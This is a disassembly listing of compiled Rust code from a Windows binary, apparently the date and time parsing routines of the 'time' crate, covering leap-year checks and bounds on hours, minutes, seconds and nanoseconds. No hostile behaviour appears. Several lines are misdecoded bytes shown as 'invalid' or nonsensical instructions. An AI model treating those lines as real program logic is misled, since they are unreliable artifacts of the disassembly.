xor edi, edi
lea rcx, [rsp + 0x28]
xor edx, edx
call fcn.1400e4185
mov r15d, 3
test al, 1
je 0x14001784d
mov ebx, 0
mov ebp, 0
test dl, dl
je 0x140017851
invalid
invalid
add byte [rax], al
mov byte [rsp + 0xc1], dl
lea rbx, [rsp + 0x50]
lea rdx, [rsp + 0x28]
sub byte [rax - 0x77], cl
fld dword [rcx - 0x48]
cmp al, byte [rax]
add byte [rax], al
call fcn.1400e4075
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
lea rcx, [rsp + 0x28]
mov dl, 2
call fcn.1400e4185
mov ebx, edx
test al, 1
je 0x140017408
mov byte [rsp + 0xb6], 1
mov byte [rsp + 0xb7], bl
lea rbx, [rsp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rbx
mov r8d, 0x3a
call fcn.1400e4075
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
lea rcx, [rsp + 0x28]
mov dl, 2
call fcn.1400e4185
mov ebx, edx
test al, 1
je 0x1400174f1
mov byte [rsp + 0xb8], 1
mov byte [rsp + 0xb9], bl
lea rbx, [rsp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rbx
mov r8d, 0x20
call fcn.1400e4075
mov r15d, dword [rbx]
cmp r15d, 0x12
jne 0x140016ed7
lea rax, [0x140164350]
lea rcx, [rsp + 0x50]
mov qword [rcx], rax
lea rax, str.PMAM
mov qword [rcx + 8], rax
lea rdx, [rsp + 0x28]
call fcn.1400e303d
cmp al, 2
je 0x14001756f
invalid
add byte [rax + 0xbc2484], cl
add byte [rax], al
mov byte [rsp + 0xbc], al
jmp 0x140016a2f
lea eax, [rdi + 1]
lea rcx, [rsp + 0x38]
mov dword [rcx], eax
xor ebp, ebp
lea rax, [rsp + 0xe8]
add byte [rax - 0x77], cl
sub byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
push 0x548d4810
and al, 0x50
push rax
mov qword [rdx + 0x30], 0x20
mov byte [rdx + 0x38], 3
mov qword [rdx], rbp
mov qword [rdx + 0x10], rbp
mov qword [rdx + 0x20], rax
lea rax, [0x140163a60]
xlatb
adc al, 0
xlatb
adc al, 0
mov qword [rdx + 0x28], rax
call fcn.140023100
test al, al
jne 0x140017c8c
mov rsi, qword [rsp + 0xe8]
mov r15d, 8
mov bl, 7
movabs rax, 0x8000000000000000
add byte [rax + 0xfc63948], al
test dh, bh
adc dword [rax], eax
invalid
mov rbp, qword [rsp + 0xf0]
cmp rdi, 7
cmp edi, 7
je 0x140017221
mov rbx, qword [rsp + 0xf8]
cmp r13, rbx
jb 0x1400163a6
lea rax, [0x140163d68]
mov r15b, byte [rdi + rax]
mov rcx, rbp
jmp 0x189e3ece7
mov eax, ebx
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x1400163d1
mov r15b, 7
test rsi, rsi
je 0x1400163bf
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, rbp
call fcn.1400fdef8
inc rdi
cmp r15b, 7
je 0x1400162f0
jmp 0x140016674
test rbx, rbx
je 0x1400163ea
mov rax, r13
sub rax, rbx
jbe 0x1400163ed
cmp byte [r12 + rbx], 0xbf
jg 0x1400163ed
jmp 0x140017cf6
mov rax, r13
add r12, rbx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x30], rax
mov r13, rax
jmp 0x1400163a9
test esi, esi
cmove edi, esi
movsxd rax, edi
imul rax, rax, 0x51eb851f
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x25
add eax, ecx
imul eax, eax, 0x64
add eax, ebx
mov dword [rsp + 0x98], 1
mov dword [rsp + 0x9c], eax
jmp 0x140016a37
mov r15, qword [rsp + 0xc8]
jmp 0x140016a3e
mov byte [rsp + 0xbd], r15b
jmp 0x140016a2f
mov r15, qword [rsp + 0xc8]
lea rsi, [0x140102200]
add r14, 0x10
cmp r14, r15
jne 0x1400156ff
jmp 0x140016aa6
cmp qword [rsp + 0xe0], 0
je 0x140016ac7
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, qword [rsp + 0xd8]
call fcn.1400fdef8
mov edx, dword [rsp + 0x90]
movsxd rdi, dword [rsp + 0x94]
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x11c], eax
mov r10d, dword [rsp + 0xa4]
mov al, byte [rsp + 0xb4]
mov byte [rsp + 0xc8], al
mov bpl, byte [rsp + 0xb5]
mov sil, byte [rsp + 0xb6]
mov cl, byte [rsp + 0xb7]
mov r13b, byte [rsp + 0xb8]
mov r8b, byte [rsp + 0xb9]
mov al, byte [rsp + 0xbc]
mov byte [rsp + 0xc7], al
movzx r14d, byte [rsp + 0xbd]
movzx r12d, byte [rsp + 0xc0]
mov r9b, byte [rsp + 0xc1]
cmp dword [rsp + 0x98], 0
mov byte [rsp + 0xd8], cl
mov byte [rsp + 0xe0], r8b
mov qword [rsp + 0x128], r9
mov qword [rsp + 0x120], r10
je 0x140016bcf
mov ebx, dword [rsp + 0x9c]
mov r15b, byte [rsp + 0xb0]
movzx r10d, byte [rsp + 0xb1]
mov r11b, byte [rsp + 0xb2]
movzx ecx, byte [rsp + 0xb3]
movzx r8d, word [rsp + 0xba]
mov al, byte [rsp + 0xbe]
test al, al
je 0x140016bf4
mov r9b, byte [rsp + 0xbf]
test r9b, r9b
je 0x140016bf4
lea r14, [rsp + 0x50]
mov rcx, r14
mov edx, ebx
mov r8d, eax
call fcn.1400e3957
jmp 0x140016c0d
mov eax, 0x10
test edx, edx
je 0x140017381
test r12b, r12b
je 0x140017381
cmp r14b, 7
jne 0x140016d22
jmp 0x140017381
test r8w, r8w
je 0x140016d07
lea r14, [rsp + 0x50]
mov rcx, r14
mov edx, ebx
call fcn.1400e3d97
cmp byte [r14 + 0x28], 2
jne 0x140016f18
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x94], eax
mov dword [rsp + 0x90], 0x12
jmp 0x140016f2a
test rbx, rbx
je 0x140016ce2
add rbx, r12
lea r13, [rsp + 0x50]
lea rbp, [rsp + 0x28]
movzx r8d, byte [r12]
test r8b, r8b
js 0x140016c58
inc r12
jmp 0x140016cc3
mov eax, r8d
and eax, 0x1f
movzx edx, byte [r12 + 1]
and edx, 0x3f
cmp r8b, 0xdf
jbe 0x140016ca9
movzx ecx, byte [r12 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp r8b, 0xf0
jb 0x140016cb7
movzx r8d, byte [r12 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r8d, 0x3f
or r8d, ecx
or r8d, eax
cmp r8d, 0x110000
je 0x140016ce2
add r12, 4
jmp 0x140016cc3
add r12, 2
shl eax, 6
or eax, edx
mov r8d, eax
jmp 0x140016cc3
add r12, 3
shl eax, 0xc
or ecx, eax
mov r8d, ecx
mov rcx, r13
mov rdx, rbp
call fcn.1400e4075
mov r15d, dword [rsp + 0x50]
cmp r15d, 0x12
jne 0x140016ce7
cmp r12, rbx
jne 0x140016c49
call fcn.1400e469a
mov ebx, dword [rsp + 0x54]
mov r12d, dword [rsp + 0x58]
mov edi, ebx
shr edi, 8
mov ebp, ebx
and ebp, 0xffff0000
mov r13d, dword [rsp + 0x5c]
jmp 0x140017851
test edx, edx
je 0x140017183
test r12b, r12b
je 0x140017183
cmp r14b, 7
je 0x140017183
lea eax, [rdi - 0x186a1]
cmp eax, 0xfffcf2be
ja 0x140016d65
lea rax, str.yearordinal_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_time_0.2.27_src_date.rs
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 4
mov qword [rsp + 0x60], 0xfffffffffffe7960
mov qword [rsp + 0x68], 0x186a0
mov qword [rsp + 0x70], rdi
mov byte [rsp + 0x78], 0
jmp 0x140016f18
mov ebx, edi
shl ebx, 9
lea ecx, [rbx + 1]
call fcn.1400e3c6f
mov cl, 0x35
cmp al, 3
je 0x140016db1
movzx eax, al
cmp eax, 2
jne 0x140016daf
imul edx, edi, 0xc28f5c29
add edx, 0x51eb850
mov eax, edx
ror eax, 2
cmp eax, 0x28f5c29
setae al
ror edx, 4
cmp edx, 0xa3d70b
setb dl
test dil, 3
jne 0x140016daf
or al, dl
jne 0x140016db1
mov cl, 0x34
lea eax, [r12 - 1]
cmp al, cl
jae 0x140016ee8
movzx eax, r12w
lea ecx, [rax*8]
sub ecx, eax
lea eax, [rdi - 1]
lea r8d, [rdi + 2]
test eax, eax
cmovns r8d, eax
sar r8d, 2
movsxd rdx, eax
imul r9, rdx, 0xffffffffae147ae1
mov r10, r9
shr r10, 0x3f
shr r9, 0x20
sar r9d, 5
add r9d, r10d
imul rdx, rdx, 0x51eb851f
mov r10, rdx
shr r10, 0x3f
shr rdx, 0x20
sar edx, 7
add edx, r10d
add r8d, edi
add r8d, r9d
lea r9d, [r8 + rdx]
add r9d, 9
add r8d, edx
movsxd r9, r9d
imul r9, r9, 0xffffffff92492493
shr r9, 0x20
add r9d, r8d
add r9d, 9
mov r10d, r9d
shr r10d, 0x1f
sar r9d, 2
add r9d, r10d
lea r10d, [r9*8]
sub r9d, r10d
lea r10d, [r9 + r8]
add r10d, 9
add r8d, r9d
add r8d, 0x10
movzx r9d, r14w
test r10d, r10d
cmovns r8d, r10d
add ecx, r9d
inc ecx
add r8d, 4
movzx r8d, r8b
sub cx, r8w
jbe 0x1400172e5
test dil, 3
sete al
imul edx, edi, 0xc28f5c29
add edx, 0x51eb850
mov r8d, edx
ror r8d, 2
cmp r8d, 0x28f5c29
setae r8b
ror edx, 4
cmp edx, 0xa3d70b
setb dl
or dl, r8b
and dl, al
movzx eax, dl
add eax, 0x16d
cmp cx, ax
jbe 0x14001732f
movzx eax, ax
sub ecx, eax
add ebx, 0x200
jmp 0x14001732f
mov ebx, dword [rsp + 0x54]
mov r12d, dword [rsp + 0x58]
movzx edi, bh
jmp 0x140016cf5
movzx eax, cl
lea rcx, [0x140164590]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], 4
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], r12
mov byte [rsp + 0x78], 1
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x50]
call fcn.1400e3d3d
mov eax, dword [rsp + 0x90]
cmp eax, 0x12
jne 0x140017381
movzx eax, bpl
mov r11b, byte [rsp + 0xd8]
movzx ecx, r11b
mov r14b, byte [rsp + 0xe0]
movzx edx, r14b
mov ebx, dword [rsp + 0x94]
mov dil, byte [rsp + 0xc8]
test dil, dil
sete r9b
test sil, sil
sete r8b
or r8b, r9b
cmp r8b, 1
jne 0x140017025
test sil, sil
sete r10b
mov r15, qword [rsp + 0x128]
test r15b, r15b
sete r9b
or r9b, r10b
je 0x14001706b
mov rsi, qword [rsp + 0x108]
mov r10b, byte [rsp + 0xc7]
test r13b, r13b
sete cl
or cl, r8b
je 0x1400170f5
test r13b, r13b
sete cl
or cl, r9b
jne 0x140017116
cmp r10b, 2
je 0x140017116
lea eax, [r15 + 0xc]
xor ecx, ecx
test r10b, r10b
mov edx, 0xc
cmove edx, ecx
movzx ecx, r15b
movzx eax, al
cmove eax, ecx
cmp r15b, 0xc
cmove eax, edx
cmp al, 0x18
jb 0x14001726f
lea rcx, [0x1401645cc]
mov qword [rsp + 0x50], rcx
mov ecx, 0x17
mov r8d, 4
mov rdi, qword [rsp + 0xd0]
jmp 0x1400174c3
test r13b, r13b
je 0x140016f80
cmp dword [rsp + 0x11c], 0
je 0x140016f80
cmp bpl, 0x18
jb 0x1400171cd
lea rcx, [0x1401645cc]
mov qword [rsp + 0x50], rcx
mov r8d, 0x17
mov r9d, 4
mov rsi, qword [rsp + 0x108]
jmp 0x14001752b
test r13b, r13b
mov r10b, byte [rsp + 0xc7]
je 0x140017242
cmp dword [rsp + 0x11c], 0
mov rsi, qword [rsp + 0x108]
je 0x140016faf
mov r13b, 1
cmp r10b, 2
je 0x140016faf
lea eax, [r15 + 0xc]
xor r8d, r8d
test r10b, r10b
mov r9d, 0xc
cmove r9d, r8d
movzx r8d, r15b
movzx eax, al
cmove eax, r8d
cmp r15b, 0xc
cmove eax, r9d
cmp al, 0x18
jb 0x1400173da
movzx ecx, al
lea rax, [0x1401645cc]
mov qword [rsp + 0x50], rax
mov eax, 0x17
mov r8d, 4
mov rdi, qword [rsp + 0xd0]
jmp 0x14001775b
cmp bpl, 0x18
jb 0x14001715b
lea rax, [0x1401645cc]
mov qword [rsp + 0x50], rax
mov eax, 0x17
mov ecx, 4
jmp 0x1400172c3
test r8b, r8b
je 0x14001724f
cmp r10b, 2
sete cl
or r9b, cl
je 0x140017413
test dil, dil
je 0x1400176a2
cmp bpl, 0x17
ja 0x140017704
mov dword [rsp + 0x50], 0
mov byte [rsp + 0x54], bpl
mov word [rsp + 0x55], 0
jmp 0x140017685
cmp r11b, 0x3c
jb 0x1400172a0
lea rax, [0x1401645c6]
mov qword [rsp + 0x50], rax
mov eax, 0x3b
mov ecx, 6
mov ebp, r11d
jmp 0x1400172c3
test r15b, r15b
je 0x140017342
cmp r14b, 7
je 0x140017342
movzx eax, r10w
lea edi, [rax*8]
sub edi, eax
lea r15d, [r14 + 2]
mov ecx, ebx
call fcn.1400e3ed4
cmp r14b, 6
movzx ecx, r15b
mov edx, 1
cmovne edx, ecx
movzx r8d, dl
add r8d, edi
sub r8d, eax
jmp 0x140017372
cmp r11b, 0x3c
mov rsi, qword [rsp + 0x108]
jb 0x1400173b0
lea rax, [0x1401645c6]
mov qword [rsp + 0x50], rax
mov r8d, 0x3b
mov r9d, 6
jmp 0x140017528
mov r15d, 8
xor edi, edi
mov bl, 7
jmp 0x14001784f
test rsi, rsi
je 0x1400177ee
mov rcx, qword [0x14019e0f8]
xor edi, edi
xor edx, edx
mov r8, rbp
call fcn.1400fdef8
jmp 0x14001784f
mov rsi, qword [rsp + 0x108]
jmp 0x140016faf
cmp bpl, 0x17
jbe 0x14001745c
mov eax, 0x17
mov ecx, 4
lea r8, [0x1401645cc]
jmp 0x14001747a
cmp r11b, 0x3c
mov rdi, qword [rsp + 0xd0]
jb 0x14001749f
lea rax, [0x1401645c6]
mov qword [rsp + 0x50], rax
mov ecx, 0x3b
mov r8d, 6
mov eax, r11d
jmp 0x1400174c3
cmp r14b, 0x3c
jb 0x1400174e4
lea rax, str.secondminutehournanosecondIndex_out_of_bounds
mov qword [rsp + 0x50], rax
mov eax, 0x3b
mov ecx, 6
mov ebp, r14d
movzx r8d, bpl
lea rdx, [rsp + 0x50]
mov qword [rdx + 8], rcx
mov qword [rdx + 0x10], 0
mov qword [rdx + 0x18], rax
mov qword [rdx + 0x20], r8
jmp 0x140017544
imul edx, edx, 0x190
neg edx
add edx, edi
dec edx
test al, 3
sete r8b
imul r9d, eax, 0xc28f5c29
add r9d, 0x51eb850
ror r9d, 2
cmp r9d, 0x28f5c29
setae r9b
test edx, edx
sete dl
or dl, r9b
and dl, r8b
movzx edx, dl
add ecx, edx
add ecx, 0x16d
shl eax, 9
mov ebx, eax
movzx eax, cx
or eax, ebx
mov dword [rsp + 0x50], eax
mov byte [rsp + 0x78], 2
jmp 0x140016c1c
mov eax, 0x10
test r11b, r11b
je 0x140017381
cmp r14b, 7
je 0x140017381
movzx eax, cx
lea edi, [rax*8]
sub edi, eax
mov ecx, ebx
call fcn.1400e3ed4
movzx r8d, r14w
add r8d, edi
sub r8d, eax
inc r8d
lea r14, [rsp + 0x50]
mov rcx, r14
mov edx, ebx
jmp 0x140016c08
mov ecx, dword [rsp + 0x94]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xd0]
mov dword [r8], eax
mov dword [r8 + 4], ecx
mov qword [r8 + 8], rdx
mov rsi, qword [rsp + 0x108]
jmp 0x14001789b
cmp r14b, 0x3c
jb 0x1400174fc
lea rax, str.secondminutehournanosecondIndex_out_of_bounds
mov qword [rsp + 0x50], rax
mov r8d, 0x3b
mov r9d, 6
mov rax, rdx
jmp 0x14001752b
cmp r11b, 0x3c
mov rdi, qword [rsp + 0xd0]
jb 0x1400175e1
lea rax, [0x1401645c6]
mov qword [rsp + 0x50], rax
mov eax, 0x3b
mov r8d, 6
jmp 0x14001775b
mov r15d, 2
jmp 0x1400177ee
lea eax, [r15 + 0xc]
xor ecx, ecx
test r10b, r10b
mov edx, 0xc
cmove edx, ecx
movzx ecx, r15b
movzx eax, al
cmove eax, ecx
cmp r15b, 0xc
cmove eax, edx
cmp al, 0x17
jbe 0x14001760a
mov ecx, 0x17
mov r8d, 4
lea r9, [0x1401645cc]
mov rdi, qword [rsp + 0xd0]
jmp 0x140017631
cmp r11b, 0x3b
jbe 0x140017641
mov eax, 0x3b
mov ecx, 6
lea r8, [0x1401645c6]
mov ebp, r11d
movzx r9d, bpl
lea rdx, [rsp + 0x50]
mov qword [rdx], r8
mov qword [rdx + 8], rcx
mov qword [rdx + 0x10], 0
mov qword [rdx + 0x18], rax
mov qword [rdx + 0x20], r9
jmp 0x140017544
cmp r14b, 0x3c
jb 0x14001765a
lea rax, str.secondminutehournanosecondIndex_out_of_bounds
mov qword [rsp + 0x50], rax
mov ecx, 0x3b
mov r8d, 6
mov eax, r14d
movzx eax, al
lea rdx, [rsp + 0x50]
mov qword [rdx + 8], r8
mov qword [rdx + 0x10], 0
mov qword [rdx + 0x18], rcx
mov qword [rdx + 0x20], rax
jmp 0x140017774
mov dword [rsp + 0x50], 0
jmp 0x140017676
mov r15d, 1
jmp 0x1400177ee
mov rcx, qword [rsp + 0x120]
cmp ecx, 0x3b9aca00
jb 0x140017672
lea rax, [0x1401645d0]
mov qword [rsp + 0x50], rax
mov r8d, 0x3b9ac9ff
mov r9d, 0xa
mov rax, rcx
lea rdx, [rsp + 0x50]
mov qword [rdx + 8], r9
mov qword [rdx + 0x10], 0
mov qword [rdx + 0x18], r8
mov qword [rdx + 0x20], rax
mov byte [rdx + 0x28], 0
lea rcx, [rsp + 0x90]
call fcn.1400e3d3d
mov rdi, qword [rsp + 0xd0]
jmp 0x140017785
mov r15d, 3
xor edi, edi
jmp 0x140017851
mov r15d, 4
xor edi, edi
jmp 0x14001784f
lea rcx, [rsp + 0x134]
mov dword [rcx], eax
lea rax, [rsp + 0x138]
mov qword [rax], rcx
lea rcx, [fcn.140020260]
mov qword [rax + 8], rcx
lea rcx, [0x140164310]
lea rdx, [rsp + 0x50]
mov qword [rdx], rcx
mov qword [rdx + 8], 2
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x10], rax
mov esi, 1
mov qword [rdx + 0x18], rsi
lea rbx, [rsp + 0xf0]
mov rcx, rbx
call fcn.1400123f0
mov qword [rbx - 8], rsi
jmp 0x140015682
cmp r14b, 0x3c
jb 0x140017730
lea rax, str.secondminutehournanosecondIndex_out_of_bounds
mov qword [rsp + 0x50], rax
mov eax, 0x3b
mov r8d, 6
mov rcx, rdx
jmp 0x14001775b
cmp r11b, 0x3b
mov rdi, qword [rsp + 0xd0]
jbe 0x1400177ba
mov ecx, 0x3b
mov r8d, 6
lea r9, [0x1401645c6]
mov eax, r11d
movzx eax, al
lea rdx, [rsp + 0x50]
mov qword [rdx], r9
jmp 0x1400174cb
mov dword [rsp + 0x50], 0
mov byte [rsp + 0x54], bpl
mov byte [rsp + 0x55], r11b
mov byte [rsp + 0x56], 0
jmp 0x140017685
mov dword [rsp + 0x50], 0
jmp 0x14001781a
mov dword [rsp + 0x50], ecx
mov byte [rsp + 0x54], bpl
mov byte [rsp + 0x55], r11b
mov byte [rsp + 0x56], r14b
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x94], rax
mov dword [rsp + 0x90], 0x12
jmp 0x140017555
mov eax, 0x10
test r15b, r15b
je 0x14001787b
cmp r10b, 2
mov rdi, qword [rsp + 0xd0]
je 0x140017883
lea eax, [r15 + 0xc]
xor ecx, ecx
test r10b, r10b
mov edx, 0xc
cmove edx, ecx
movzx ecx, r15b
movzx eax, al
cmove eax, ecx
cmp r15b, 0xc
cmove eax, edx
cmp al, 0x17
ja 0x1400178ac
mov dword [rsp + 0x50], 0
mov byte [rsp + 0x54], al
mov word [rsp + 0x55], 0
jmp 0x140017828
lea rcx, [0x1401645cc]
lea rdx, [rsp + 0x50]
mov qword [rdx], rcx
mov qword [rdx + 8], 4
mov qword [rdx + 0x10], 0
mov qword [rdx + 0x18], 0x17
jmp 0x140017540
mov rcx, qword [rsp + 0x120]
cmp ecx, 0x3b9aca00
jb 0x140017816
lea rax, [0x1401645d0]
mov qword [rsp + 0x50], rax
mov eax, 0x3b9ac9ff
mov r8d, 0xa
lea rdx, [rsp + 0x50]
mov qword [rdx + 8], r8
mov qword [rdx + 0x10], 0
mov qword [rdx + 0x18], rax
mov qword [rdx + 0x20], rcx
mov byte [rdx + 0x28], 0
lea rcx, [rsp + 0x90]
call fcn.1400e3d3d
mov eax, dword [rsp + 0x90]
cmp eax, 0x12
jne 0x140017883
mov rax, qword [rsp + 0x94]
mov qword [rdi + 4], rax
mov dword [rdi + 0xc], ebx
mov dword [rdi], 0x12
jmp 0x14001789b
mov dword [rsp + 0x50], 0
mov byte [rsp + 0x54], al
mov byte [rsp + 0x55], r11b
mov byte [rsp + 0x56], 0
jmp 0x140017828
movzx edi, bh
mov ebp, ebx
and ebp, 0xffff0000
mov r15d, 6
jmp 0x140017851
xor edi, edi
jmp 0x14001784f
mov ebx, ebp
jmp 0x1400177f8
mov ebx, edx
movzx edi, bx
shr edi, 8
mov r15d, 0xb
jmp 0x14001784f
mov dword [rsp + 0x50], ecx
mov byte [rsp + 0x54], al
mov byte [rsp + 0x55], r11b
mov byte [rsp + 0x56], r14b
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x94], rax
mov dword [rsp + 0x90], 0x12
jmp 0x140017785
xor ebx, ebx
xor ebp, ebp
cmp qword [rsp + 0xe0], 0
je 0x140017b08
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, qword [rsp + 0xd8]
call fcn.1400fdef8
jmp 0x140017b08
mov rdi, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x94]
mov edx, dword [rsp + 0x9c]
mov dword [rdi], eax
mov qword [rdi + 4], rcx
mov dword [rdi + 0xc], edx
shl rsi, 1
test rsi, rsi
je 0x140017b51
jmp 0x140017b3b
movzx eax, al
lea rcx, [0x1401645cc]
lea rdx, [rsp + 0x50]
mov qword [rdx], rcx
mov qword [rdx + 8], 4
mov qword [rdx + 0x10], 0
mov qword [rdx + 0x18], 0x17
jmp 0x1400174db
movzx edi, cx
shr edi, 8
shl edi, 8
movzx eax, bl
or eax, edi
movzx eax, ax
or eax, ebp
mov rcx, qword [rsp + 0xd0]
mov dword [rcx], r15d
mov dword [rcx + 4], eax
mov dword [rcx + 8], r12d
mov dword [rcx + 0xc], r13d
mov rax, qword [rsp + 0x108]
shl rax, 1
test rax, rax
je 0x140017b51
mov rcx, qword [0x14019e0f8]
xor edx, edx
mov r8, qword [rsp + 0x110]
call fcn.1400fdef8
nop
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_time_0.2.27_src_format_parse_items.rs_B
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x110]
mov rdx, r14
mov r8, r15
mov r9, r13
call fcn.14001f890
lea rax, [0x1401641a8]
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, rbp
mov r8, rbx
mov r9, rbp
call fcn.14001f890
lea rax, [0x14018c268]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_7cf61ebde7b22796c69757901dd346d0fe70bd97library_alloc_src_string.rs
lea r9, [0x140163a90]
lea r8, [rsp + 0x138]
mov edx, 0x37
call fcn.14001cff0
mov rax, qword [rsp + 0x100]
lea rcx, [rsp + 0x50]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rcx], xmm0
call fcn.1400e3ef6
lea rax, [0x1401641c0]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r12
mov r8, r13
mov r9, r12
call fcn.14001f890
lea rax, [0x1401641c0]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, r13
mov r8, rbx
jmp 0x140017c67